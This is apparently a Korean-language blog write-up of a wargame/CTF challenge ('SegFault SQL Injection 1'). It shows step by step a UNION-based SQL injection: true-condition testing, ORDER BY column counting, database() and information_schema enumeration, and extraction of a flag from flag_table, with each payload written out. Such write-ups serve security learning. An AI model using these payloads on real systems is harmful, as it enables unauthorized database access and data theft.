Archive for Dev. (junyup2)

์ง€์‹์„ ์ฑ„์›Œ๊ฐ€๋Š” ใ€Ž๊ฐœ๋ฐœ์ž/ํ™”์ดํŠธํ•ด์ปคใ€๋ฅผ ๋ชฉํ‘œ๋กœ ์ •๋ฆฌํ•˜๋Š” ๋ธ”๋กœ๊ทธ

Wargame & CTF/SegFault

[SegFault] (SQLi) - SQL Injection 1

Gearvirus(junyup2) 2023. 12. 6. 04:03

[SegFault] (SQLi)

SQL Injection 1. 

๋น„๋ฐ€ ๋ฐ์ดํ„ฐ๋ฅผ ์ฐพ์•„๋‚ด๋ผ!

๋ฌธ์ œ ํŒŒ์•…

์œ„์˜ ํŽ˜์ด์ง€์— ๋“ค์–ด๊ฐ€๋ฉด ์•„๋ž˜์™€ ๊ฐ™์€ ์ฐฝ์ด ๋‚˜์˜จ๋‹ค.

์šฐ์„  ๊ฒ€์ƒ‰์ฐฝ์— ๋Œ€ํ•˜์—ฌ ์ž…๋ ฅ ํ…Œ์ŠคํŠธ๋ฅผ ์ง„ํ–‰ํ•ด๋ณธ๋‹ค.

SQL ๊ตฌ์กฐ ํ™•์ธ

์šฐ์„  r ์„ ์ž…๋ ฅํ•ด๋ณธ ๊ฒฐ๊ณผ r ์ด๋ผ๋Š” ๋ฌธ์ž๊ฐ€ ๋“ค์–ด๊ฐ€๋Š” 3๊ฐœ์˜ ID๊ฐ€ ๊ฒ€์ƒ‰์˜ ๋Œ€์ƒ์ด ๋˜๋Š” ๊ฒƒ์„ ๋ณด๊ณ  ๋ถ€๋ถ„๋งŒ ์ž…๋ ฅํ•ด๋„ ๋‚˜์˜จ๋‹ค๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

๊ทธ๋ ‡๋‹ค๋ฉด ๊ฒ€์ƒ‰์ฐฝ์˜ ๊ตฌ์กฐ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์„ ๊ฒƒ์ด๋ผ๊ณ  ์˜ˆ์ƒ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

select * from ~~ where name like '%_____%';

๊ทธ๋Ÿผ ์šฐ์„  SQL Injection์ด ๊ฐ€๋Šฅํ•œ์ง€ ํ™•์ธํ•ด ๋ณด๊ธฐ ์œ„ํ•ด and๋ฅผ ์ด์šฉํ•˜์—ฌ ์ฐธ์ธ ๊ฒฐ๊ณผ๋ฅผ ํ•จ๊ป˜ ๋„ฃ์–ด ํ™•์ธํ•ด๋ณธ๋‹ค. 

SQLi ๊ฐ€๋Šฅ์—ฌ๋ถ€ ํ™•์ธ

select * from ~~ where name like '%(r%' and '1%'='1)%';

r ์„ ์ž…๋ ฅํ–ˆ์„ ๊ฒฝ์šฐ์™€ r%' and '1%'='1 ๋ฅผ ์ž…๋ ฅํ•œ ๊ฒฝ์šฐ์˜ ๊ฒฐ๊ณผ๊ฐ€ ๊ฐ™์€ ๊ฒƒ์„ ๋ณด๊ณ  SQL Injection์ด ๊ฐ€๋Šฅํ•˜๋‹ค๊ณ  ํŒ๋‹จํ•  ์ˆ˜ ์žˆ๋‹ค.

๊ทธ๋ ‡๋‹ค๋ฉด ์ด์ œ๋ถ€ํ„ฐ๋Š” UNION SQL Injection์˜ ์ ˆ์ฐจ์— ๋”ฐ๋ผ ์ง„ํ–‰ํ•ด ์ฃผ๋ฉด ๋œ๋‹ค.


ํ’€์ด ๊ณผ์ • (ํ•ด๊ฒฐ ๋ฐฉ์•ˆ)

1. SQL Injection ๊ฐ€๋Šฅ ์—ฌ๋ถ€ ํŒ๋‹จ

์œ„์—์„œ ํ™•์ธํ–ˆ๊ธฐ ๋•Œ๋ฌธ์— ๋„˜์–ด ๊ฐ„๋‹ค.

 

2. column ๊ฐœ์ˆ˜ ํŒŒ์•…ํ•˜๊ธฐ

order by๋ฅผ ์ด์šฉํ•˜์—ฌ 1๋ถ€ํ„ฐ ๋Œ€์ž… ํ•ด๋ณธ๋‹ค.

r%'order by 1~4 ๊นŒ์ง€๋Š” ๊ฐ๊ฐ ์ •๋ ฌ์˜ ๋ฐฉ์‹์ด ๋ฐ”๋€Œ๋ฉด์„œ ๋ฐ์ดํ„ฐ๊ฐ€ ์ถœ๋ ฅ๋˜์—ˆ์ง€๋งŒ 5๋ถ€ํ„ฐ๋Š” ์•ˆ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

๋”ฐ๋ผ์„œ column์˜ ๊ฐœ์ˆ˜๋Š” 4๊ฐœ๋ผ๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

 

3. ์ถœ๋ ฅ๋˜๋Š” Column์˜ ์œ„์น˜ ์ฐพ๊ธฐ

์–ด๋–ค Column์ด ์–ด๋Š ๋ถ€๋ถ„์— ์ถœ๋ ฅ๋˜๋Š”์ง€ ํ™•์ธํ•ด์•ผ ํ•œ๋‹ค.

r%' UNION SELECT 1,2,3,4 #

์œ„์˜ ๊ฒฐ๊ณผ๋ฅผ ๋ฐ”ํƒ•์œผ๋กœ ์ถœ๋ ฅ์ด ๋˜๋Š” ์ปฌ๋Ÿผ์˜ ์œ„์น˜๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

(์ถœ๋ ฅ์ด ๋˜๋Š” ์œ„์น˜๋ฅผ ์•Œ์•„์•ผ ๋‚ด์šฉ์— ๋Œ€ํ•œ ํ™•์ธ์ด ๊ฐ€๋Šฅํ•˜๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.)

ID | Level | Rank Point | Rage
1  |     2    |         3         |   4

๊ณต๊ฒฉ ์ฟผ๋ฆฌ ์„ค์ •

๋ณธ ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ 1~4์˜ ์ปฌ๋Ÿผ์ด ๋‹ค ๋‚˜์˜ค๋ฏ€๋กœ ์•„๋ฌด ์œ„์น˜์—๋‚˜ ์›ํ•˜๋Š” SQL์„ ์‚ฝ์ž…ํ•˜๋ฉด ๋œ๋‹ค.

r%' UNION SELECT 1,____,3,4 #

 

4. DB ์ด๋ฆ„ ํ™•์ธํ•˜๊ธฐ

์–ด๋–ค TABLE๊ณผ COLUMN์ด ์žˆ๋Š”์ง€ ์•Œ์•„๋‚ด๊ธฐ ์œ„ํ•ด ์–ด๋–ค DB์— ์กด์žฌํ•˜๋Š”์ง€ ๋ถ€ํ„ฐ ํ™•์ธํ•ด์•ผ ํ•œ๋‹ค.

SELECT database()

์ด๋ฅผ ๊ณต๊ฒฉ ์ฟผ๋ฆฌ์— ๋‹ด์•„ ํ™•์ธํ•ด๋ณธ ๊ฒฐ๊ณผ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

r%' UNION SELECT 1,database(),3,4 #

database() : sqli_1

 

5. Table ์ด๋ฆ„ ํ™•์ธํ•˜๊ธฐ

์–ด๋–ค DB์— ๋“ค์–ด์žˆ๋Š”์ง€ ํ™•์ธํ–ˆ์œผ๋‹ˆ ์–ด๋–ค COLUMN์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด ์–ด๋–ค TABLE์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•ด์•ผ ํ•œ๋‹ค.

๊ทธ ์ „์— ๋ช‡๊ฐœ์˜ TABLE์„ ๊ฐ€์ง€๊ณ  ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๊ฒƒ์„ ์šฐ์„ ์‹œ ํ•œ๋‹ค.

count(TABLE_NAME)

 

2๋ฒˆ์งธ column์œ„์น˜์— ๋„ฃ์–ด ์ฃผ์—ˆ๊ธฐ ๋•Œ๋ฌธ์— Table์˜ ๊ฐœ์ˆ˜๋Š” 3์ธ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

๊ทธ ๋‹ค์Œ Table์ด๋ฆ„์„ ํ™•์ธํ•ด์ค€๋‹ค. (์ด ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ ๋ชจ๋“  ๋‚ด์šฉ์ด ์ถœ๋ ฅ๋˜์–ด์„œ ์‚ฌ์‹ค์ƒ ์œ„์˜ Table ๊ฐœ์ˆ˜ ํ™•์ธ์ด ํ•„์š”์—†๋Š” ๊ฒฝ์šฐ์— ํ•ด๋‹นํ•˜์ง€๋งŒ, ์ค„ ์ˆ˜์— ์ œํ•œ์ด ์žˆ๋Š” ๊ฒฝ์šฐ๋„ ๋‹ค์ˆ˜ ์žˆ์–ด ๊ฐ€๋Šฅํ•˜๋ฉด ์šฐ์„ ์ ์œผ๋กœ ๊ฐœ์ˆ˜๋ฅผ ํ™•์ธํ•˜๊ณ  ๊ฐ€๋Š” ๋ฒ„๋ฆ‡์„ ๋“ค์—ฌ์•ผํ•œ๋‹ค.)

table_name FROM information_schema.tables where table_schema = 'sqli_1' #

TABLE ์ด๋ฆ„์„ ํ™•์ธํ•œ ๊ฒฐ๊ณผ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

r% 'UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema = 'sqli_1' #

flag_table
plusFlag_Table
user_info

 

6. Column ์ด๋ฆ„ ํ™•์ธํ•˜๊ธฐ

์œ„์—์„œ ์–ด๋–ค DB, TABLE์ด ์กด์žฌํ•˜๋Š”์ง€ ํ™•์ธํ•˜์˜€๊ธฐ ๋•Œ๋ฌธ์— ์ด์ œ ์–ด๋–ค COLUMN์ด ์กด์žฌํ•˜๋Š”์ง€ ํ™•์ธํ•  ์ฐจ๋ก€์ด๋‹ค.

column_name FROM information_schema.columns WHERE table_name = 'flag_table' #

 

COLUMN ์ด๋ฆ„์„ ํ™•์ธํ•œ ๊ฒฐ๊ณผ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

r% 'union select 1,column_name,3,4 from information_schema.columns where table_name = 'flag_table' #

flag

 

7. ๋ฐ์ดํ„ฐ ์ถœ๋ ฅ

flag column ์•ˆ์— ์–ด๋–ค ๋ฐ์ดํ„ฐ๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•ด๋ณธ๋‹ค.

flag FROM flag_table #

 

r% ' UNION SELECT 1,flag,3,4 FROM flag_table #

flag COLUMN ๋‚ด๋ถ€์—์„œ flag ๋ฐ์ดํ„ฐ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.


์งˆ๋ฌธ ํ™˜์˜, ์ˆ˜์ • ๋ฐ ๋ณด์™„์— ๋Œ€ํ•œ ์ง€์  ํ™˜์˜